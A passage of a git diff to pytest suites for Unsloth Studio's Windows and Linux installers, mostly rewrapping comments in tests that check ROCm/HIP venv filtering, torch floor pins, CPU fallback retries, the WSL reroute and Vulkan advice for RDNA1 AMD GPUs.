HIP_PATH/ROCM_PATH candidate must also be venv-filtered, else an env var pointing into the venv+ # reopens the gate.assert ("Test-HipinfoIsVenvInternal $hipinfoCandidate" in text), f"{ps.name} must run the venv exclusion on the HIP_PATH/ROCM_PATH candidate"- # VenvDir/VIRTUAL_ENV can be unset at probe time (the update flow), so the- # venv root must also be derived from the setup python.+ # VenvDir/VIRTUAL_ENV can be unset at probe time (the update flow), so the venv root must also be derived+ # from the setup python.assert ("UNSLOTH_SETUP_PYTHON" in text), f"{ps.name} venv-internal check must seed the venv root from UNSLOTH_SETUP_PYTHON"- # A custom Unsloth home moves the venv off the default path; it must be- # seeded too or its hipInfo escapes the filter and reopens the gate.+ # A custom Unsloth home moves the venv off the default path; it must be seeded too or its hipInfo escapes+ # the filter and reopens the gate.assert ("UNSLOTH_STUDIO_HOME" in text), f"{ps.name} venv-internal check must seed the venv root from UNSLOTH_STUDIO_HOME"@@ -429,9 +423,8 @@ def test_ps_installers_gate_amd_smi_on_windows():@pytest.mark.parametrize("ps", [_INSTALL_PS1, _SETUP_PS1], ids = ["install.ps1", "setup.ps1"])def test_ps_venv_probe_expands_tilde_for_custom_studio_home(ps):- # The probe seeds the venv root from a custom Unsloth home; a ~\studio form- # must expand to USERPROFILE like the canonical resolver, else GetFullPath- # keeps the literal ~ (cwd-relative) and the hipInfo escapes the filter.+ # The probe seeds the venv root from a custom Unsloth home; a ~\studio form must expand to USERPROFILE like the+ # canonical resolver, else GetFullPath keeps the literal ~ (cwd-relative) and the hipInfo escapes the filter.text = ps.read_text(encoding = "utf-8")i = text.find("$studioHomeEnv = ")j = text.find('Join-Path $studioHomeEnv "unsloth_studio"', i)@@ -441,16 +434,14 @@ def test_ps_venv_probe_expands_tilde_for_custom_studio_home(ps):f"{ps.name}: the venv-internal probe must expand a leading ~ in the custom ""Unsloth home before seeding the venv root (mirroring the canonical resolver)")- # The ~ expansion must be guarded on a non-empty USERPROFILE; otherwise- # Join-Path $env:USERPROFILE throws on a service/SYSTEM account with no profile,- # aborting the whole probe (and the install).+ # The ~ expansion must be guarded on a non-empty USERPROFILE; otherwise Join-Path $env:USERPROFILE throws on a+ # service/SYSTEM account with no profile, aborting the whole probe (and the install).assert "IsNullOrWhiteSpace($env:USERPROFILE)" in block, (f"{ps.name}: the ~ expansion must guard against an empty $env:USERPROFILE ""before Join-Path (else it throws on a profile-less account)")- # A bare "~" leaves an empty child path, which Join-Path rejects on PS 5.1, so- # the expansion must fall back to USERPROFILE directly (joining only a non-empty- # remainder) rather than call Join-Path with "".+ # A bare "~" leaves an empty child path, which Join-Path rejects on PS 5.1, so the expansion must fall back to+ # USERPROFILE directly (joining only a non-empty remainder) rather than call Join-Path with "".assert "$studioHomeRest" in block and "else { $env:USERPROFILE }" in block, (f"{ps.name}: the ~ expansion must handle a bare ~ without passing an empty ""child path to Join-Path (PS 5.1 rejects it)"@@ -463,9 +454,8 @@ def _ps_floor_map(text, prefix):def test_install_setup_ps_rocm_torch_floors_in_sync():- # install.ps1/setup.ps1 pull from AMD's per-arch index; their torch and- # companion floor maps must match so both resolve the same ABI-consistent trio- # (install.ps1 once left companions bare -> incompatible set -> CPU).+ # install.ps1/setup.ps1 pull from AMD's per-arch index; their torch and companion floor maps must match so both+ # resolve the same ABI-consistent trio (install.ps1 once left companions bare -> incompatible set -> CPU).it = _INSTALL_PS1.read_text(encoding = "utf-8")st = _SETUP_PS1.read_text(encoding = "utf-8")for prefix in ("torch>=", "torchvision>=", "torchaudio>="):@@ -484,8 +474,8 @@ def test_install_setup_ps_rocm_torch_floors_in_sync():def test_install_ps1_rocm_cpu_fallback_uses_retry():- # The ROCm->CPU fallback (likeliest to hit a transient index issue) once used- # the non-retrying helper; it must retry like every other torch install here.+ # The ROCm->CPU fallback (likeliest to hit a transient index issue) once used the non-retrying helper; it must+ # retry like every other torch install here.text = _INSTALL_PS1.read_text(encoding = "utf-8")i = text.find("ROCm PyTorch install failed")assert i != -1, "ROCm->CPU fallback block not found in install.ps1"@@ -497,9 +487,9 @@ def test_install_ps1_rocm_cpu_fallback_uses_retry():assert ("Invoke-InstallCommandRetry" in window), "the ROCm->CPU fallback torch install must use Invoke-InstallCommandRetry"- # Must --force-reinstall: a failed ROCm install can leave an unpinned ROCm torch- # that still satisfies the CPU torch>= range, so without it uv keeps the ROCm- # build and only swaps companions -> mismatched venv the repair block won't fix.+ # Must --force-reinstall: a failed ROCm install can leave an unpinned ROCm torch that still satisfies the CPU+ # torch>= range, so without it uv keeps the ROCm build and only swaps companions -> mismatched venv the repair block+ # won't fix.assert "--force-reinstall" in window, ("the ROCm->CPU fallback must --force-reinstall so a partial ROCm torch is ""replaced by the CPU build"@@ -507,17 +497,16 @@ def test_install_ps1_rocm_cpu_fallback_uses_retry():def test_setup_ps1_rocm_cpu_fallback_force_reinstalls():- # setup.ps1's CPU block is shared with the genuine CPU-only path, so it force-- # reinstalls only after an AMD ROCm fallback ($ROCmCpuFallback) -- evicting a- # partial ROCm torch without slowing the common CPU install.+ # setup.ps1's CPU block is shared with the genuine CPU-only path, so it force- reinstalls only after an AMD ROCm+ # fallback ($ROCmCpuFallback) -- evicting a partial ROCm torch without slowing the common CPU install.text = _SETUP_PS1.read_text(encoding = "utf-8")assert "$ROCmCpuFallback = $true" in text, ("setup.ps1 must flag the AMD ROCm->CPU fallback so the CPU install can force-""reinstall a partial ROCm torch")# Build $cpuForce as a real array, NOT via an if-expression: PowerShell collapses- # `$x = if (..) { @("--force-reinstall") }` to a scalar string, which @splat then- # enumerates char-by-char into broken single-letter args (- - f o r c e ...).+ # `$x = if (..) { @("--force-reinstall") }` to a scalar string, which @splat then enumerates char-by-char into+ # broken single-letter args (- - f o r c e ...).assert ("$cpuForce = @()" in textand 'if ($ROCmCpuFallback) { $cpuForce = @("--force-reinstall") }' in text@@ -599,9 +588,9 @@ def test_install_ps1_installs_rocm_torch_for_known_arch():def test_external_hipinfo_strips_quoted_path_entries(tmp_path):- # Windows PATH entries can carry surrounding double quotes; the scan must strip- # them before os.path.join, else a real HIP SDK in a quoted dir is missed and a- # genuine AMD box silently loses amd-smi VRAM polling.+ # Windows PATH entries can carry surrounding double quotes;+ # the scan must strip them before os.path.join, else a real HIP SDK in a quoted dir is missed and a genuine AMD box+ # silently loses amd-smi VRAM polling.sdk_bin = tmp_path / "hip sdk" / "bin"sdk_bin.mkdir(parents = True)(sdk_bin / "hipinfo.exe").write_text("")@@ -623,9 +612,8 @@ def test_python_hipinfo_strips_quotes_in_all_copies():def test_python_path_inside_venv_guards_root_prefix_in_all_copies():- # If sys.prefix resolves to a bare root (C:\ or /), commonpath matches every- # path on the filesystem and classifies a real external hipinfo as- # venv-internal, silently disabling amd-smi. All three copies must guard it.+ # If sys.prefix resolves to a bare root (C:\ or /), commonpath matches every path on the filesystem and classifies+ # a real external hipinfo as venv-internal, silently disabling amd-smi. All three copies must guard it.for src in (_PREBUILT_PATH, _AMD_PY, _PYSTACK_PY):text = src.read_text(encoding = "utf-8")assert (@@ -634,8 +622,8 @@ def test_python_path_inside_venv_guards_root_prefix_in_all_copies():def test_path_inside_venv_returns_false_for_root_prefix():- # Behavioral: with sys.prefix realpath == a bare root, no external path counts as- # inside the venv (so a real HIP SDK on the same drive still opens the gate).+ # Behavioral: with sys.prefix realpath == a bare root, no external path counts as inside the venv (so a real HIP SDK+ # on the same drive still opens the gate).root = "C:\\" if os.name == "nt" else "/"real = os.path.realpathwith patch.object(@@ -649,9 +637,9 @@ def test_path_inside_venv_returns_false_for_root_prefix():@pytest.mark.parametrize("ps", [_INSTALL_PS1, _SETUP_PS1], ids = ["install.ps1", "setup.ps1"])def test_ps_venv_probe_skips_drive_root(ps):- # A non-venv UNSLOTH_SETUP_PYTHON like C:\Python311\python.exe yields a bare- # drive root (C:) as a venv root; without a guard it matches every path on that- # drive and misclassifies a real HIP SDK as venv-internal, disabling amd-smi.+ # A non-venv UNSLOTH_SETUP_PYTHON like C:\Python311\python.exe yields a bare drive root (C:) as a venv root;+ # without a guard it matches every path on that drive and misclassifies a real HIP SDK as venv-internal,+ # disabling amd-smi.text = ps.read_text(encoding = "utf-8")assert "'^[a-zA-Z]:$'" in text, (f"{ps.name} venv-internal probe must skip bare drive roots so a non-venv "@@ -661,9 +649,9 @@ def test_ps_venv_probe_skips_drive_root(ps):@pytest.mark.parametrize("ps", [_INSTALL_PS1, _SETUP_PS1], ids = ["install.ps1", "setup.ps1"])def test_ps_env_fallback_iterates_all_hip_roots(ps):- # The HIP_PATH/ROCM_PATH fallback must iterate every env root (incl. HIP_PATH_57)- # and take the first non-venv hipinfo, so a venv-internal HIP_PATH can't mask a- # real SDK in ROCM_PATH (single-root selection would bail on the venv copy).+ # The HIP_PATH/ROCM_PATH fallback must iterate every env root (incl. HIP_PATH_57) and take the first non-venv+ # hipinfo, so a venv-internal HIP_PATH can't mask a real SDK in ROCM_PATH (single-root selection would bail on+ # the venv copy).text = ps.read_text(encoding = "utf-8")assert 'foreach ($hipEnvLabel in @("HIP_PATH", "HIP_PATH_57", "ROCM_PATH"))' in text, (f"{ps.name} must iterate HIP_PATH/HIP_PATH_57/ROCM_PATH in the env fallback, "@@ -686,9 +674,8 @@ def test_install_ps1_clears_rocm_index_after_cpu_fallback():def test_install_ps1_rocm_repair_pins_companions():- # The flavor-repair ROCm reinstall must use the pinned companion specs (like the- # fresh ROCm install), not bare torchvision/torchaudio, which can resolve an- # ABI-incompatible trio on AMD's per-arch index.+ # The flavor-repair ROCm reinstall must use the pinned companion specs (like the fresh ROCm install), not bare+ # torchvision/torchaudio, which can resolve an ABI-incompatible trio on AMD's per-arch index.text = _INSTALL_PS1.read_text(encoding = "utf-8")i = text.find("PyTorch flavor mismatch (installed $installedTorchTag, need ROCm)")assert i != -1, "ROCm flavor-repair block not found in install.ps1"@@ -700,17 +687,16 @@ def test_install_ps1_rocm_repair_pins_companions():def test_install_sh_wsl_reroute_uses_pipefail():- # The `curl | sh` reroute runs via `bash -lc`; without pipefail a failed curl is- # masked by sh exiting 0 on empty input, so the reroute would wrongly report- # success and exit 0 from the parent installer.+ # The `curl | sh` reroute runs via `bash -lc`; without pipefail a failed curl is masked by sh exiting 0 on empty+ # input, so the reroute would wrongly report success and exit 0 from the parent installer.text = _INSTALL_SH.read_text(encoding = "utf-8")assert "set -o pipefail" in text, "reroute must enable pipefail"- # The reroute targets the selected distro ($_rr_target: 24.04 preferred, 22.04- # fallback) via bash -lc; find that exec line.+ # The reroute targets the selected distro ($_rr_target: 24.04 preferred, 22.04 fallback) via bash -lc; find that+ # exec line.i = text.find('wsl.exe -d "$_rr_target" -- bash -lc')assert i != -1, "WSL reroute command not found in install.sh"- # pipefail is set in the exports prefix the reroute bash -lc runs; the wsl.exe- # call must wire that prefix in (a failed curl is otherwise masked by sh exit 0).+ # pipefail is set in the exports prefix the reroute bash -lc runs;+ # the wsl.exe call must wire that prefix in (a failed curl is otherwise masked by sh exit 0).line = text[text.rfind("\n", 0, i) + 1 : text.find("\n", i)]assert ("$_rr_exports" in line@@ -718,9 +704,9 @@ def test_install_sh_wsl_reroute_uses_pipefail():def test_install_sh_wsl_reroute_propagates_tauri_need_sudo_exit():- # In --tauri mode the rerouted child uses exit 2 ([TAURI:NEED_SUDO]) to ask the- # desktop app to elevate for the target distro. The reroute must propagate that- # code instead of masking it as a generic failure and dropping to CPU here.+ # In --tauri mode the rerouted child uses exit 2 ([TAURI:NEED_SUDO]) to ask the desktop app to elevate for the+ # target distro. The reroute must propagate that code instead of masking it as a generic failure and dropping to+ # CPU here.text = _INSTALL_SH.read_text(encoding = "utf-8")i = text.find('wsl.exe -d "$_rr_target" -- bash -lc')assert i != -1, "WSL reroute command not found in install.sh"@@ -735,9 +721,8 @@ def test_install_sh_wsl_reroute_propagates_tauri_need_sudo_exit():def test_uninstall_sh_preserves_shared_icon_for_surviving_shortcut():- # %LOCALAPPDATA%\Unsloth Studio\unsloth.ico is shared with the native install- # and other WSL distros; both removal paths must keep it while any "Unsloth- # Studio*.lnk" survives (reciprocal of uninstall.ps1's+ # %LOCALAPPDATA%\Unsloth Studio\unsloth.ico is shared with the native install and other WSL distros;+ # both removal paths must keep it while any "Unsloth Studio*.lnk" survives (reciprocal of uninstall.ps1's# _RemoveDataDirKeepingWslIcon), not delete it unconditionally.text = (PACKAGE_ROOT / "scripts" / "uninstall.sh").read_text(encoding = "utf-8")assert "_drop_shared_icon_if_unused" in text, (@@ -748,8 +733,8 @@ def test_uninstall_sh_preserves_shared_icon_for_surviving_shortcut():"uninstall.sh powershell-interop path must keep the icon when an Unsloth ""shortcut still uses it")- # An empty $env:LOCALAPPDATA (service/SYSTEM account) makes Join-Path throw and- # aborts the icon cleanup; the interop snippet must guard it like uninstall.ps1.+ # An empty $env:LOCALAPPDATA (service/SYSTEM account) makes Join-Path throw and aborts the icon cleanup;+ # the interop snippet must guard it like uninstall.ps1.assert "IsNullOrWhiteSpace($env:LOCALAPPDATA)" in text, ("uninstall.sh powershell-interop path must guard an empty $env:LOCALAPPDATA ""before Join-Path (else cleanup throws on a profile-less account)"@@ -757,10 +742,9 @@ def test_uninstall_sh_preserves_shared_icon_for_surviving_shortcut():def test_uninstall_removes_managed_node_runtime():- # The isolated Node.js runtime (install_node_prebuilt.py) lives at ~/.unsloth/node- # in default mode, a sibling of studio -- deleting <studio> misses it, so both- # uninstallers must remove it explicitly (env/custom mode nests it under the- # custom root, removed with that root).+ # The isolated Node.js runtime (install_node_prebuilt.py) lives at ~/.unsloth/node in default mode, a sibling of+ # studio -- deleting <studio> misses it, so both uninstallers must remove it explicitly (env/custom mode nests it+ # under the custom root, removed with that root).sh = (PACKAGE_ROOT / "scripts" / "uninstall.sh").read_text(encoding = "utf-8")assert ('_remove_path "$HOME/.unsloth/node"' in sh@@ -775,11 +759,9 @@ def test_uninstall_removes_managed_node_runtime():def test_install_python_stack_windows_rocm_repair_pins_and_is_nonfatal():- # The Windows AMD ROCm repair in _ensure_rocm_torch() must mirror the PS- # installer: (1) pin torchvision/torchaudio for the arches the PS side pins so- # the per-arch index resolves an ABI-consistent trio, and (2) be nonfatal so a- # transient index failure doesn't abort the install after the PS side already- # fell back to CPU torch.+ # The Windows AMD ROCm repair in _ensure_rocm_torch() must mirror the PS installer: (1) pin torchvision/torchaudio+ # for the arches the PS side pins so the per-arch index resolves an ABI-consistent trio, and (2) be nonfatal so a+ # transient index failure doesn't abort the install after the PS side already fell back to CPU torch.text = _PYSTACK_PY.read_text(encoding = "utf-8")assert ("_WINDOWS_ROCM_TORCH_PKG_SPECS" in text@@ -826,9 +808,8 @@ def _load_pystack():def test_windows_rocm_repair_nonfatal_keeps_cpu_torch_on_index_failure(monkeypatch):- # Behavioral: with a Windows AMD box whose per-arch index is down, the repair- # must attempt the pinned trio via the nonfatal helper, NOT call the fatal- # pip_install, and NOT proceed to bitsandbytes -- so the overall install+ # Behavioral: with a Windows AMD box whose per-arch index is down, the repair must attempt the pinned trio via the+ # nonfatal helper, NOT call the fatal pip_install, and NOT proceed to bitsandbytes -- so the overall install# survives the index failure with the existing (CPU) torch intact.try:ps = _load_pystack()diff --git a/tests/studio/install/test_prebuilt_core.py b/tests/studio/install/test_prebuilt_core.pyindex 4d1c37b8dae..248e6473018 100644--- a/tests/studio/install/test_prebuilt_core.py+++ b/tests/studio/install/test_prebuilt_core.py@@ -57,8 +57,8 @@ LLAMA_DESCRIPTOR = core.ComponentDescriptor(sha256_asset_name = "llama-prebuilt-sha256.json",metadata_filename = "UNSLOTH_LLAMA_PREBUILT_INFO.json",user_agent = "unsloth-studio-llama-prebuilt",- # A GPU-selection miss reports "no prebuilt" so the caller can fall back to- # a source build instead of silently degrading to CPU.+ # A GPU-selection miss reports "no prebuilt" so the caller can fall back to a source build instead of silently+ # degrading to CPU.fallback_backend = None,server_binary_name = lambda host: "llama-server",runtime_bin_dir = lambda install_dir, host: install_dir / "build" / "bin",@@ -114,8 +114,8 @@ def make_host(rocm_gfx = rocm_gfx,macos_version = macos_version,)- # Descriptor-only component: the core default host_platform_tokens hook- # reads .os_token/.arch_token off a plain host object.+ # Descriptor-only component: the core default host_platform_tokens hook reads .os_token/.arch_token off a plain host+ # object.return SimpleNamespace(os_token = os_token,arch_token = arch_token,@@ -291,7 +291,6 @@ def _arm_mac_host(component, macos_version):def test_macos_min_os_filters_to_compatible_bundle(component):- # host 14.0 can't load the 15.0 bundle; the 13.0 bundle is picked instead.manifest = component.ops.parse_manifest(manifest_for(component,@@ -340,7 +339,7 @@ def test_resolve_backend_auto_and_validation(component):gpu_host = make_host(component, has_usable_nvidia = True)assert component.ops.resolve_backend(gpu_host, "auto", cpu_fallback = False) == "cuda"assert component.ops.resolve_backend(gpu_host, "auto", cpu_fallback = True) == "cpu"- # --cpu-fallback wins over an explicit backend too.+ # cpu-fallback wins over an explicit backend too.assert component.ops.resolve_backend(gpu_host, "cuda", cpu_fallback = True) == "cpu"# An explicit supported backend passes through untouched.assert component.ops.resolve_backend(gpu_host, "vulkan", cpu_fallback = False) == "vulkan"@@ -662,12 +661,11 @@ def test_write_and_match_marker(component, tmp_path):backend = "cpu",asset_sha256 = "0" * 64,)- # No marker on disk yet -> not a match.assert not component.ops.existing_install_matches(install_dir, host, selection)bin_dir = component.ops.runtime_bin_dir(install_dir, host)bin_dir.mkdir(parents = True)component.ops.write_prebuilt_metadata(install_dir, selection)- # Marker alone is not enough: the server binary must exist too.+ # Marker alone is not enough:assert not component.ops.existing_install_matches(install_dir, host, selection)(bin_dir / component.ops.server_binary_name(host)).write_bytes(b"bin")marker = json.loads((install_dir / component.descriptor.metadata_filename).read_text())@@ -730,8 +728,8 @@ def test_slim_selection_fields_are_additive(component, tmp_path):def test_core_slim_hooks_default_inert(component, tmp_path):- # A component without its own hooks stages nothing extra and adds no- # resolver fields (llama's probe output must stay byte-identical).+ # A component without its own hooks stages nothing extra and adds no resolver fields (llama's probe output must stay+ # byte-identical).assert component.ops.resolver_payload_extra({"install_kind": "slim"}) == {}host = make_host(component)selection = object()@@ -762,8 +760,8 @@ def test_busy_activation_restores_previous_install(monkeypatch, tmp_path):# ── Host/GPU token helpers (component-independent core functions) ──-# Value tables moved verbatim from the llama characterization suite; these are-# pure functions with no descriptor sensitivity, so they run unparameterized.+# Value tables moved verbatim from the llama characterization suite; these are pure functions with no+# descriptor sensitivity, so they run unparameterized.@pytest.mark.parametrize("value,expected",[@@ -900,6 +898,7 @@ def test_blackwell_min_toolkit_is_sm_aware():assert f(_caps_host(["10.0", "10.3"])) == (12, 9) # max across SMs wins+# The ops seam ──# ── The ops seam ──def test_module_ops_prefers_module_globals_over_core_defaults(component):ns = dict(component.namespace)diff --git a/tests/studio/install/test_rdna1_unsupported_message_8529.py b/tests/studio/install/test_rdna1_unsupported_message_8529.pyindex e4ca7bd421b..99f22439401 100644--- a/tests/studio/install/test_rdna1_unsupported_message_8529.py+++ b/tests/studio/install/test_rdna1_unsupported_message_8529.py@@ -52,10 +52,9 @@ _STACK_PY = PACKAGE_ROOT / "studio" / "install_python_stack.py"# what a PowerShell source must never print, and folding them together let a .ps1 emit# it and still pass (an added-bare-setter mutant survived the whole file)._POSIX_ASSIGNMENT = "UNSLOTH_LLAMA_CPP_BACKEND=vulkan"-# `export`, not a bare assignment: a POSIX assignment without it is a shell variable,-# invisible to the installer the next line tells the user to run, so they get the CPU-# bundle again and conclude the advice was wrong (the #8458 mistake). The README block-# has always used export; these messages have to agree with it.+# `export`, not a bare assignment: a POSIX assignment without it is a shell variable, invisible to the installer the+# next line tells the user to run, so they get the CPU bundle again and conclude the advice was wrong (the #8458+# mistake)._POSIX_SETTER = f"export {_POSIX_ASSIGNMENT}"_PWSH_SETTER = '$env:UNSLOTH_LLAMA_CPP_BACKEND = "vulkan"'_SETTER = {@@ -79,8 +78,8 @@ def _load_stack_module():stack_mod = _load_stack_module()-# Windows WMI reports the marketing name; Linux lspci reports the chip plus a-# slash-joined list of the boards built on it. Both must resolve.+# Windows WMI reports the marketing name; Linux lspci reports the chip plus a slash-joined list of the boards built+# on it. Both must resolve._RDNA1_NAMES = [("AMD Radeon RX 5700 XT", "gfx1010"),("AMD Radeon RX 5700", "gfx1010"),@@ -91,10 +90,9 @@ _RDNA1_NAMES = [("AMD Radeon Pro 5600M", "gfx1011"),("AMD Radeon RX 5500 XT", "gfx1012"),("Navi 14 [Radeon RX 5500/5500M / Pro 5500M]", "gfx1012"),- # The professional boards LLVM's table omits. Die confirmed from libdrm- # data/amdgpu.ids read against pci.ids, which names 7312/7310 Navi 10 and- # 7340/7341/7347/734f Navi 14, and the kernel's amdgpu table, which files those- # ids under CHIP_NAVI10 / CHIP_NAVI14.+ # The professional boards LLVM's table omits.+ # Die confirmed from libdrm data/amdgpu.ids read against pci.ids, which names 7312/7310 Navi 10 and+ # 7340/7341/7347/734f Navi 14, and the kernel's amdgpu table, which files those ids under CHIP_NAVI10 / CHIP_NAVI14.("AMD Radeon Pro W5700", "gfx1010"),("Navi 10 [Radeon Pro W5700X]", "gfx1010"),("AMD Radeon Pro W5500", "gfx1012"),@@ -102,15 +100,14 @@ _RDNA1_NAMES = [("Navi 14 [Radeon Pro W5300M]", "gfx1012"),("AMD Radeon RX 5300", "gfx1012"),("AMD Radeon RX 5300M", "gfx1012"),- # The Mac Pro MPX boards, pci.ids 7319 and 731b under Navi 10: the only Navi 10- # retail parts naming neither "RX 5700" nor a W prefix.+ # The Mac Pro MPX boards, pci.ids 7319 and 731b under Navi 10: the only Navi 10 retail parts naming neither+ # "RX 5700" nor a W prefix.("Navi 10 [Radeon Pro 5700 XT]", "gfx1010"),("Navi 10 [Radeon Pro 5700]", "gfx1010"),("AMD Radeon Pro 5700 XT", "gfx1010"),]-# Cards the supported table owns, plus a non-AMD one. A hit here would print-# "ROCm does not cover this" at a user whose GPU has wheels.+# Cards the supported table owns, plus a non-AMD one._NOT_RDNA1_NAMES = ["AMD Radeon RX 9070 XT","AMD Radeon RX 9060 XT",@@ -277,9 +274,8 @@ class TestWindowsArm64GetsNoVulkanAdvice:"no Windows ARM64 Vulkan bundle is published" in src), "the ARM64 guard this test is built on was renamed; re-read setup.ps1"- # The Python stack emits the PowerShell setter too, and setup.ps1 runs it before- # reaching its own throw, so it is the last advice an ARM64 user sees. The tests- # above pin the one offer it has today; this one covers any offer added later.+ # The Python stack emits the PowerShell setter too, and setup.ps1 runs it before reaching its own throw, so it is+ # the last advice an ARM64 user sees.@pytest.mark.parametrize("path,guard",[@@ -298,8 +294,8 @@ class TestWindowsArm64GetsNoVulkanAdvice:]assert offers, f"{path.name}: no Vulkan offer found"for i in offers:- # The resolver itself, not a boolean named after it: a mutant that kept the- # branch and hardcoded $unsupArm64 = $false survived that spelling.+ # The resolver itself, not a boolean named after it: a mutant that kept the branch and hardcoded+ # $unsupArm64 = $false survived that spelling.back = "\n".join(lines[max(i - 20, 0) : i])assert guard in back, (f"{path.name}:{i + 1}: offers the Vulkan variable without checking for "@@ -548,8 +544,8 @@ class TestAdviceIsNotEmittedForRdna1:self, path, unsupported_marker, unknown_marker):src = _normalised(path)- # The "was found" guard: without it a renamed branch makes both finds -1- # and -1 < -1 is False, so the ordering claim would pass vacuously.+ # The "was found" guard: without it a renamed branch makes both finds -1 and -1 < -1 is False, so the ordering+ # claim would pass vacuously.assert unsupported_marker in src, f"{path.name}: unsupported arm not found"assert unknown_marker in src, f"{path.name}: arch-unknown arm not found"assert src.index(unsupported_marker) < src.index(unknown_marker)@@ -679,8 +675,8 @@ class TestAdviceIsNotEmittedForRdna1:a CI failure with nothing untrue on the page."""src = _normalised(PACKAGE_ROOT / "README.md")- # Any spelling of the cutoff, not one literal: "every AMD GPU older than RDNA 2"- # slipped past an exact-string ban while contradicting the gfx906 carve-out.+ # Any spelling of the cutoff, not one literal: "every AMD GPU older than RDNA 2" slipped past an+ # exact-string ban while contradicting the gfx906 carve-out.blanket = re.search(r"AMD GPUs? older than RDNA ?2", src, re.IGNORECASE)assert not blanket, (f"README: {blanket.group(0)!r} claims ROCm PyTorch covers nothing older "@@ -691,8 +687,8 @@ class TestAdviceIsNotEmittedForRdna1:describes_group = re.search(r"no ROCm PyTorch wheels|Polaris|RDNA ?1", src, re.IGNORECASE)if not describes_group:return- # It does describe the group, so it has to describe it completely: named by its- # members, and with the one member that is covered cut back out.+ # It does describe the group, so it has to describe it completely: named by its members, and with the one+ # member that is covered cut back out.for _member in ("Polaris", "RDNA 1"):assert _member in src, (f"README describes the uncovered AMD group ({describes_group.group(0)!r}) "@@ -725,8 +721,7 @@ def _run_setup_kfd_lookup(gpu_name: str, lspci_lines: "list[str] | None", tmp_pa)bin_dir = tmp_path / "bin"bin_dir.mkdir()- # PATH is bin_dir and nothing else, so "lspci absent" really is absent rather than- # the host's own lspci answering. The shell itself has to be linked in for that.+ # PATH is bin_dir and nothing else, so "lspci absent" really is absent rather than the host's own lspci answering.real_sh = shutil.which("sh")assert real_sh, "no POSIX sh on this host"(bin_dir / "sh").symlink_to(real_sh)@@ -858,7 +853,6 @@ def test_setup_ps1_hoists_the_unsupported_arch_variable_too():# ── An identified uncovered card outranks the generic ROCm report ────────────-_ROCM_ARM = {"install.ps1": ("} elseif ($HasROCm", "$ROCmUnsupportedGfxArch"),"setup.ps1": ("} elseif ($HasROCm", "$script:ROCmUnsupportedGfxArch"),@@ -918,12 +912,12 @@ def test_the_rocm_summary_chain_yields_to_an_identified_uncovered_card():# ── Scope: these sentences speak for one card, not for the host ───────────+# A host is not one GPU.+# An RX 580 beside an RX 7900 XTX is a host where masking to the other card and pinning its arch DOES install wheels, so+# a host-wide "nothing can enable ROCm here" is false there.+# Deciding it at runtime was tried and dropped: "any adapter we cannot name" misfires on the Vega-class iGPU on most+# Ryzen desktops, and "any covered peer" misses the Instinct and V620 parts no name table carries.-# A host is not one GPU. An RX 580 beside an RX 7900 XTX is a host where masking to the-# other card and pinning its arch DOES install wheels, so a host-wide "nothing can enable-# ROCm here" is false there. Deciding it at runtime was tried and dropped: "any adapter we-# cannot name" misfires on the Vega-class iGPU on most Ryzen desktops, and "any covered-# peer" misses the Instinct and V620 parts no name table carries._ALL_SOURCES = [_INSTALL_SH, _SETUP_SH, _INSTALL_PS1, _SETUP_PS1, _STACK_PY]_HOST_WIDE_CLAIMS = [@@ -1059,9 +1053,8 @@ def _arm_window(lines: "list[str]", start: int) -> "list[str]":here, and cap the span so a missing closer cannot swallow the file."""indent = len(lines[start]) - len(lines[start].lstrip())- # One step out, not the anchor's own indent: the claim it anchors now sits in a- # nested if/else, and the Vulkan offer is its SIBLING branch, so stopping at the- # anchor's own level would cut the window before the thing under test.+ # One step out, not the anchor's own indent: the claim it anchors now sits in a nested if/else, and the Vulkan offer+ # is its SIBLING branch, so stopping at the anchor's own level would cut the window before the thing under test.floor = max(indent - 4, 0)out = [lines[start]]for line in lines[start + 1 : start + 25]:@@ -1099,13 +1092,12 @@ class TestVulkanAdvice:# (stronger) live-output tests below cover it instead._SHELL_SOURCES = [_INSTALL_PS1, _SETUP_PS1, _INSTALL_SH, _SETUP_SH]- # Everything the advice has to carry, asserted against EMITTED text only: every- # phrase here also appears in the comments explaining the branch, so a whole-file- # search stays green after the message is gutted (three such mutants survived). The- # setter is per-file (see _SETTER) and gets its own tests below.+ # Everything the advice has to carry, asserted against EMITTED text only: every phrase here also appears in the+ # comments explaining the branch, so a whole-file search stays green after the message is gutted (three such+ # mutants survived). The setter is per-file (see _SETTER) and gets its own tests below._REQUIRED = [- # The offer must survive, not just the variable name: "no GPU acceleration is- # available" followed by a GPU backend's name is worse than either half alone.+ # The offer must survive, not just the variable name: "no GPU acceleration is available" followed by a GPU+ # backend's name is worse than either half alone.("through Vulkan", "the affirmative Vulkan offer"),]@@ -1154,12 +1146,9 @@ class TestVulkanAdvice:not offenders), f"{path.name}: prints a POSIX assignment PowerShell cannot parse: {offenders}"- # Every arm that TELLS a pre-RDNA 2 user torch cannot use their GPU, with the expected- # occurrence count. The count is the point: the tests either side of this one are- # file-scoped, so a site deleted outright leaves both green. Anchors are each arm's- # announcement line, so a deleted arm fails the count and a gutted one fails the window- # below. install.ps1's second anchor names $ROCmUnsupportedGfxArch deliberately: the- # same sentence four lines earlier is for a supported card.+ # Every arm that TELLS a pre-RDNA 2 user torch cannot use their GPU, with the expected occurrence count.+ # install.ps1's second anchor names $ROCmUnsupportedGfxArch deliberately: the same sentence four lines earlier is+ # for a supported card._ADVICE_SITES = [(_INSTALL_SH, "Unsloth has no ROCm PyTorch wheels for that arch", 2),(_INSTALL_PS1, "Unsloth installs no ROCm PyTorch wheels for $ROCmUnsupportedGfxArch", 1),@@ -1202,17 +1191,16 @@ class TestVulkanAdvice:f"duplicated; the advice must follow it either way.")for i in hits:- # Comments stripped from the WINDOW, not just the anchor: every phrase- # below also appears in the comment explaining the branch, so raw lines- # stay green after the message is demoted to a comment (observed mutant).+ # Comments stripped from the WINDOW, not just the anchor: every phrase below also appears in the+ # comment explaining the branch, so raw lines stay green after the message is demoted to a comment+ # (observed mutant).window = "\n".join(line for line in _arm_window(lines, i) if not line.lstrip().startswith(("#", "//")))- # The offer, not one phrasing of it: these arms are hard-wrapped to different- # widths. Both halves are required -- a backend without what it buys, or GGUF- # chat without the backend, is half an answer. "Vulkan" is matched- # case-sensitively in PROSE, so the setter's lowercase spelling cannot stand- # in for the sentence explaining it.+ # The offer, not one phrasing of it: these arms are hard-wrapped to different widths. Both halves are+ # required -- a backend without what it buys, or GGUF chat without the backend, is half an answer.+ # "Vulkan" is matched case-sensitively in PROSE, so the setter's lowercase spelling cannot stand in+ # for the sentence explaining it.assert "GGUF chat" in window and "Vulkan" in window, (f"{path.name}:{i + 1}: this arm dead-ends without offering GPU GGUF chat 